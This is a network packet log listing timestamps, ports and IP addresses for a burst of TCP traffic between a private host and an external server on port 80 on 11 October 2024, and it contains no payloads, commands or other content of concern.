Oct 11, 2024 23:07:02.631282091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631294012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631328106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631346941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631364107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631422043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631436110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631526947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631560087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631572008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631592035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631629944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631644964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631659985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631691933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631707907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631725073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631756067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631771088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631788969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631820917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631834984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631853104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631885052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631900072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631920099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631952047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631968021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631985903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632016897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632028103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.632049084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632081032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632097960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.632114887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632143021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.632163048 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.679303885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721071959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721143961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721178055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721220970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721230984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721265078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721286058 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721297979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721333027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721344948 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721385002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721435070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721438885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721467018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721498966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721518040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721546888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721580029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721596956 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721611023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721642971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721667051 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721676111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721708059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721740961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721745014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721777916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721801043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721811056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721843958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721865892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721875906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721908092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721920967 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.721940041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721973896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.721990108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.722004890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.722039938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.722050905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.773058891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.807970047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.808113098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.808183908 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.810590029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810628891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810683012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810688972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.810739040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810781002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.810781956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810837030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810870886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810880899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.810920954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.810964108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.810975075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811007977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811038017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811053038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811069965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811119080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811119080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811151028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811182976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811193943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811217070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811248064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811264992 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811304092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811336040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811347008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811371088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811428070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811430931 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811460972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811494112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811508894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811526060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811558008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811568975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811590910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811623096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811631918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811655045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811682940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811698914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.811717033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.811758995 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.894610882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.894901037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.895183086 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901228905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901283026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901316881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901344061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901391029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901438951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901439905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901488066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901520967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901535034 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901552916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901583910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901597977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901617050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901664972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901674032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901724100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901755095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901770115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901787996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901818991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901844025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901850939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901882887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901904106 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901915073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901948929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.901966095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.901981115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.902013063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.902026892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.902048111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.902091026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.903346062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.903378010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.903434992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.903435946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.903467894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.903502941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.903515100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.945061922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.981400967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.981471062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.981539011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990627050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990673065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990698099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990712881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990725994 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990727901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990742922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990757942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990761995 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990791082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990823030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990838051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990870953 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990901947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990916014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990931034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990947008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990968943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990969896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.990983009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.990998030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991012096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991024971 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991028070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991049051 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991142035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991156101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991169930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991183996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991190910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991199017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991209030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991214037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991228104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991240025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991275072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991306067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991319895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991369963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991511106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991524935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991539001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991569996 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.991594076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991609097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.991636992 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.038785934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081443071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081509113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081590891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081623077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081629038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081660986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081691027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081710100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081743002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081758976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081775904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081809044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081835985 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081840992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081888914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081892967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081924915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081959009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.081976891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.081996918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082046032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082046986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082078934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082108974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082135916 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082139969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082171917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082191944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082202911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082235098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082252979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082262993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082293987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082309961 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082326889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082360029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082374096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082391024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082422972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082444906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082454920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082485914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082503080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.082518101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082551956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.082561016 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.132509947 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.170945883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.170967102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.170983076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.171138048 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.260773897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.260797024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261025906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261324883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261385918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261401892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261434078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261473894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261488914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261503935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261523008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261552095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261569977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261593103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261606932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261621952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261636019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261636019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261651993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261678934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261699915 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.261863947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261878967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.261934996 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.379892111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.380111933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.380182981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389211893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389245987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389266968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389343977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389343977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389375925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389409065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389441967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389444113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389475107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389492035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389523029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389555931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389585972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389590025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389620066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389662027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389688015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.389872074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389904022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389940023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.389950037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.429335117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.470300913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.470324993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.470350027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.470402002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482223034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482273102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482310057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482342958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482378006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482414007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482414961 CEST	49730	80	192.168.2.4	147.45.44.104
